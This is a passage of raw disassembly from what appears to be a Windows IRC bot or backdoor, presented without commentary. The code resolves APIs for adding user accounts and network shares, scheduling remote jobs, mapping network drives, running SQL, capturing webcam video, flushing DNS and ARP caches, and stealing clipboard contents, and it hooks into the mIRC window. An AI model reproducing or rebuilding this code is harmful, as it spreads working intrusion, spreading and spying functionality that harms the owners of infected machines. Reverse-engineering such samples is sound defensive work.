		mov	dword_4414A0, 1


loc_40A06F:				; CODE XREF: sub_409794+8C4j
		mov	dword_441368, ebx


loc_40A075:				; CODE XREF: sub_409794+8AEj
					; sub_409794+8C2j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A0BF
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_441344, eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_441470, eax
		call	esi	; GetProcAddress
		cmp	dword_441344, ebx
		mov	dword_4412DC, eax
		jz	short loc_40A0CA
		cmp	dword_441470, ebx
		jz	short loc_40A0CA
		cmp	eax, ebx
		jnz	short loc_40A0D4
		jmp	short loc_40A0CA
; ---------------------------------------------------------------------------


loc_40A0BF:				; CODE XREF: sub_409794+8ECj
		nop
		call	near ptr 7C910331h
		mov	dword_4414AC, eax


loc_40A0CA:				; CODE XREF: sub_409794+91Bj
					; sub_409794+923j ...
		mov	dword_4414A8, 1


loc_40A0D4:				; CODE XREF: sub_409794+927j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A1CA
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4412B8, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_441290, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_441304, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_441338, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_441448, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4412F0, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_44129C, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_44128C, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_441320, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_441410, eax
		call	esi	; GetProcAddress
		cmp	dword_4412B8, ebx
		mov	dword_4413C8, eax
		jz	short loc_40A1D5
		cmp	dword_441290, ebx
		jz	short loc_40A1D5
		cmp	dword_441304, ebx
		jz	short loc_40A1D5
		cmp	dword_441338, ebx
		jz	short loc_40A1D5
		cmp	dword_441448, ebx
		jz	short loc_40A1D5
		cmp	dword_4412F0, ebx
		jz	short loc_40A1D5
		cmp	dword_44129C, ebx
		jz	short loc_40A1D5
		cmp	dword_44128C, ebx
		jz	short loc_40A1D5
		cmp	dword_441320, ebx
		jz	short loc_40A1D5
		cmp	dword_441410, ebx
		jz	short loc_40A1D5
		cmp	eax, ebx
		jnz	short loc_40A1DF
		jmp	short loc_40A1D5
; ---------------------------------------------------------------------------


loc_40A1CA:				; CODE XREF: sub_409794+94Bj
		nop
		call	near ptr 7C910331h
		mov	dword_4414B4, eax


loc_40A1D5:				; CODE XREF: sub_409794+9E6j
					; sub_409794+9EEj ...
		mov	dword_4414B0, 1


loc_40A1DF:				; CODE XREF: sub_409794+A32j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A214
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4412E0, eax
		call	esi	; GetProcAddress
		cmp	dword_4412E0, ebx
		mov	dword_4413B0, eax
		jz	short loc_40A21F
		cmp	eax, ebx
		jnz	short loc_40A229
		jmp	short loc_40A21F
; ---------------------------------------------------------------------------


loc_40A214:				; CODE XREF: sub_409794+A56j
		nop
		call	near ptr 7C910331h
		mov	dword_4414BC, eax


loc_40A21F:				; CODE XREF: sub_409794+A78j
					; sub_409794+A7Ej
		mov	dword_4414B8, 1


loc_40A229:				; CODE XREF: sub_409794+A7Cj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A25E
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_441434, eax
		call	esi	; GetProcAddress
		cmp	dword_441434, ebx
		mov	dword_441430, eax
		jz	short loc_40A269
		cmp	eax, ebx
		jnz	short loc_40A273
		jmp	short loc_40A269
; ---------------------------------------------------------------------------


loc_40A25E:				; CODE XREF: sub_409794+AA0j
		nop
		call	near ptr 7C910331h
		mov	dword_4414C4, eax


loc_40A269:				; CODE XREF: sub_409794+AC2j
					; sub_409794+AC8j
		mov	dword_4414C0, 1


loc_40A273:				; CODE XREF: sub_409794+AC6j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A2D2
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_441460, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_441458, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_441420, eax
		call	esi	; GetProcAddress
		cmp	dword_441460, ebx
		mov	dword_4412F8, eax
		jz	short loc_40A2DD
		cmp	dword_441458, ebx
		jz	short loc_40A2DD
		cmp	dword_441420, ebx
		jz	short loc_40A2DD
		cmp	eax, ebx
		jnz	short loc_40A2E7
		jmp	short loc_40A2DD
; ---------------------------------------------------------------------------


loc_40A2D2:				; CODE XREF: sub_409794+AEAj
		nop
		call	near ptr 7C910331h
		mov	dword_4414CC, eax


loc_40A2DD:				; CODE XREF: sub_409794+B26j
					; sub_409794+B2Ej ...
		mov	dword_4414C8, 1


loc_40A2E7:				; CODE XREF: sub_409794+B3Aj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A31C
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_44132C, eax
		call	esi	; GetProcAddress
		cmp	dword_44132C, ebx
		mov	dword_44142C, eax
		jz	short loc_40A327
		cmp	eax, ebx
		jnz	short loc_40A331
		jmp	short loc_40A327
; ---------------------------------------------------------------------------


loc_40A31C:				; CODE XREF: sub_409794+B5Ej
		nop
		call	near ptr 7C910331h
		mov	dword_4414D4, eax


loc_40A327:				; CODE XREF: sub_409794+B80j
					; sub_409794+B86j
		mov	dword_4414D0, 1


loc_40A331:				; CODE XREF: sub_409794+B84j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3BA
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4413F4, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_441440, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_44137C, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_44133C, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4413D4, eax
		call	esi	; GetProcAddress
		cmp	dword_4413F4, ebx
		mov	dword_441348, eax
		jz	short loc_40A3C5
		cmp	dword_441440, ebx
		jz	short loc_40A3C5
		cmp	dword_44137C, ebx
		jz	short loc_40A3C5
		cmp	dword_44133C, ebx
		jz	short loc_40A3C5
		cmp	dword_4413D4, ebx
		jz	short loc_40A3C5
		cmp	eax, ebx
		jnz	short loc_40A3CF
		jmp	short loc_40A3C5
; ---------------------------------------------------------------------------


loc_40A3BA:				; CODE XREF: sub_409794+BA8j
		nop
		call	near ptr 7C910331h
		mov	dword_4414DC, eax


loc_40A3C5:				; CODE XREF: sub_409794+BFEj
					; sub_409794+C06j ...
		mov	dword_4414D8, 1


loc_40A3CF:				; CODE XREF: sub_409794+C22j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A404
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_441310, eax
		call	esi	; GetProcAddress
		cmp	dword_441310, ebx
		mov	dword_4413E8, eax
		jz	short loc_40A40F
		cmp	eax, ebx
		jnz	short loc_40A419
		jmp	short loc_40A40F
; ---------------------------------------------------------------------------


loc_40A404:				; CODE XREF: sub_409794+C46j
		nop
		call	near ptr 7C910331h
		mov	dword_4414E4, eax


loc_40A40F:				; CODE XREF: sub_409794+C68j
					; sub_409794+C6Ej
		mov	dword_4414E0, 1


loc_40A419:				; CODE XREF: sub_409794+C6Cj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409794	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A421	proc near		; CODE XREF: sub_40F6F1+58FFp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_441478, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A469
		push	dword_44147C
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_4173AC
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 20h


loc_40A469:				; CODE XREF: sub_40A421+1Aj
		cmp	dword_441480, esi
		jz	short loc_40A49D
		push	dword_441484
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_4173AC
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 20h


loc_40A49D:				; CODE XREF: sub_40A421+4Ej
		cmp	dword_441488, esi
		jz	short loc_40A4D1
		push	dword_44148C
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_4173AC
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 20h


loc_40A4D1:				; CODE XREF: sub_40A421+82j
		cmp	dword_441490, esi
		jz	short loc_40A505
		push	dword_441494
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_4173AC
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 20h


loc_40A505:				; CODE XREF: sub_40A421+B6j
		cmp	dword_441498, esi
		jz	short loc_40A539
		push	dword_44149C
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_4173AC
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 20h


loc_40A539:				; CODE XREF: sub_40A421+EAj
		cmp	dword_4414A0, esi
		jz	short loc_40A56D
		push	dword_4414A4
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_4173AC
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 20h


loc_40A56D:				; CODE XREF: sub_40A421+11Ej
		cmp	dword_4414A8, esi
		jz	short loc_40A5A1
		push	dword_4414AC
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_4173AC
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 20h


loc_40A5A1:				; CODE XREF: sub_40A421+152j
		cmp	dword_4414B0, esi
		jz	short loc_40A5D5
		push	dword_4414B4
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_4173AC
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 20h


loc_40A5D5:				; CODE XREF: sub_40A421+186j
		cmp	dword_4414B8, esi
		jz	short loc_40A609
		push	dword_4414BC
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_4173AC
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 20h


loc_40A609:				; CODE XREF: sub_40A421+1BAj
		cmp	dword_4414C0, esi
		jz	short loc_40A63D
		push	dword_4414C4
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_4173AC
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 20h


loc_40A63D:				; CODE XREF: sub_40A421+1EEj
		cmp	dword_4414C8, esi
		jz	short loc_40A671
		push	dword_4414CC
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_4173AC
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 20h


loc_40A671:				; CODE XREF: sub_40A421+222j
		cmp	dword_4414D0, esi
		jz	short loc_40A6A5
		push	dword_4414D4
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_4173AC
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 20h


loc_40A6A5:				; CODE XREF: sub_40A421+256j
		cmp	dword_4414D8, esi
		jz	short loc_40A6D9
		push	dword_4414DC
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_4173AC
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 20h


loc_40A6D9:				; CODE XREF: sub_40A421+28Aj
		cmp	dword_4414E0, esi
		jz	short loc_40A70D
		push	dword_4414E4
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_4173AC
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 20h


loc_40A70D:				; CODE XREF: sub_40A421+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42B6E4
		push	eax
		call	sub_4173AC
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A73A
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 14h


loc_40A73A:				; CODE XREF: sub_40A421+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40C4F7
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A421	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A74C	proc near		; CODE XREF: sub_40F6F1+C56p
					; sub_40F6F1+C8Ap ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_40A7D7
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_40A7D7
		cmp	[ebp+arg_8], esi
		jz	short loc_40A7D7
		cmp	byte ptr [eax],	0
		jz	short loc_40A7D7
		push	ebx
		push	edi
		call	sub_4203A3
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_40A7D2
		push	[ebp+arg_4]
		push	edi
		call	sub_417980
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40A7CB
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_4182F0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_417AF0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_4184C0
		push	[ebp+arg_4]
		call	sub_417AF0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_417A10
		push	ebx
		push	edi
		call	sub_417A00
		add	esp, 30h
		mov	esi, edi


loc_40A7CB:				; CODE XREF: sub_40A74C+3Cj
		push	ebx
		call	sub_417C62
		pop	ecx


loc_40A7D2:				; CODE XREF: sub_40A74C+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_40A7D9
; ---------------------------------------------------------------------------


loc_40A7D7:				; CODE XREF: sub_40A74C+Cj
					; sub_40A74C+13j ...
		xor	eax, eax


loc_40A7D9:				; CODE XREF: sub_40A74C+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40A74C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7DD	proc near		; CODE XREF: sub_40F576+ECp

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_417430
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_417AF0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_40A813
		or	eax, 0FFFFFFFFh
		jmp	short loc_40A886
; ---------------------------------------------------------------------------


loc_40A813:				; CODE XREF: sub_40A7DD+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_40A835


loc_40A81F:				; CODE XREF: sub_40A7DD+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_40A82C
		cmp	dl, 0Dh
		jnz	short loc_40A830


loc_40A82C:				; CODE XREF: sub_40A7DD+48j
		and	byte ptr [ecx+esi], 0


loc_40A830:				; CODE XREF: sub_40A7DD+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_40A81F


loc_40A835:				; CODE XREF: sub_40A7DD+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_40A866
		lea	edi, [ebp+var_7CC]


loc_40A842:				; CODE XREF: sub_40A7DD+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_40A861
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_40A861
		cmp	ebx, 1F4h
		jge	short loc_40A866
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_40A861:				; CODE XREF: sub_40A7DD+69j
					; sub_40A7DD+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_40A842


loc_40A866:				; CODE XREF: sub_40A7DD+5Dj
					; sub_40A7DD+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_40A884
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_417490
		add	esp, 0Ch


loc_40A884:				; CODE XREF: sub_40A7DD+8Ej
		mov	eax, ebx


loc_40A886:				; CODE XREF: sub_40A7DD+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A88A	proc near		; CODE XREF: sub_40A8E4+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h


loc_40A899:				; DATA XREF: ___:004258FCo
					; ___:00425940o ...
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_40A8C3
		push	ebx
		mov	ebx, edi


loc_40A8A7:				; CODE XREF: sub_40A88A+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_40A8C6
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_40A8A7
		pop	ebx


loc_40A8C3:				; CODE XREF: sub_40A88A+18j
		pop	edi
		pop	esi
		retn
sub_40A88A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A8C6	proc near		; CODE XREF: sub_40A88A+25p
					; sub_40A8E4+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_4187E1
		cmp	al, 61h
		pop	ecx
		jl	short loc_40A8E1
		cmp	al, 7Ah
		jg	short loc_40A8E1
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_40A8E1:				; CODE XREF: sub_40A8C6+Ej
					; sub_40A8C6+12j
		xor	eax, eax
		retn
sub_40A8C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A8E4	proc near		; CODE XREF: sub_40C5D7+10p
					; sub_40C609+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_417B70
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_417AF0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_417AF0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_40A88A
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_40A922:				; CODE XREF: sub_40A8E4+B6j
		test	esi, esi
		jle	short loc_40A9A0
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_4187E1
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_4187E1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40A998


loc_40A948:				; CODE XREF: sub_40A8E4+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_40A8C6
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_40A969
		mov	eax, ecx


loc_40A969:				; CODE XREF: sub_40A8E4+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_40A99C
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_4187E1
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_4187E1
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_40A948


loc_40A998:				; CODE XREF: sub_40A8E4+62j
		dec	edi
		dec	esi
		jmp	short loc_40A922
; ---------------------------------------------------------------------------


loc_40A99C:				; CODE XREF: sub_40A8E4+8Aj
		xor	eax, eax
		jmp	short loc_40A9A5
; ---------------------------------------------------------------------------


loc_40A9A0:				; CODE XREF: sub_40A8E4+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_40A9A5:				; CODE XREF: sub_40A8E4+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A8E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9AA	proc near		; CODE XREF: sub_40F6F1+3D85p
					; sub_40F6F1+4D5Dp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 7C910331h
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		nop
		call	near ptr 7C82F7A0h
		lea	eax, [ebp+var_100]


loc_40A9E3:				; CODE XREF: sub_40A9AA+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_40A9EF
		cmp	cl, 9
		jnz	short loc_40A9F2


loc_40A9EF:				; CODE XREF: sub_40A9AA+3Ej
		inc	eax
		jmp	short loc_40A9E3
; ---------------------------------------------------------------------------


loc_40A9F2:				; CODE XREF: sub_40A9AA+43j
					; sub_40A9AA+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_40AA0C
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_40A9F2
		cmp	cl, 21h
		jl	short loc_40A9F2


loc_40AA0C:				; CODE XREF: sub_40A9AA+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4414E8
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41792A
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40A9AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA34	proc near		; CODE XREF: sub_40F6F1+586Ep
		push	esi
		push	0
		call	dword_441388	; OpenClipboard
		test	eax, eax
		jz	short loc_40AA6B
		push	1
		call	dword_4413A8	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_40AA6B
		push	edi
		push	esi
		nop
		call	near ptr 7C80FF19h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 7C80FE82h
		call	dword_44140C	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AA6B:				; CODE XREF: sub_40AA34+Bj
					; sub_40AA34+19j
		xor	eax, eax
		pop	esi
		retn
sub_40AA34	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA6F	proc near		; CODE XREF: sub_40F6F1+4B4Dp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	dword_4413C4	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_40AAEB
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 7C80945Ch
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 7C80B905h
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_4173AC
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_441414	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_441414	; SendMessageA
		push	ebx
		nop
		call	near ptr 7C80B974h
		push	edi
		nop
		call	near ptr 7C809B47h
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_40AAED
; ---------------------------------------------------------------------------


loc_40AAEB:				; CODE XREF: sub_40AA6F+16j
		xor	eax, eax


loc_40AAED:				; CODE XREF: sub_40AA6F+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40AA6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AAF1	proc near		; CODE XREF: ___:0040EE50p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
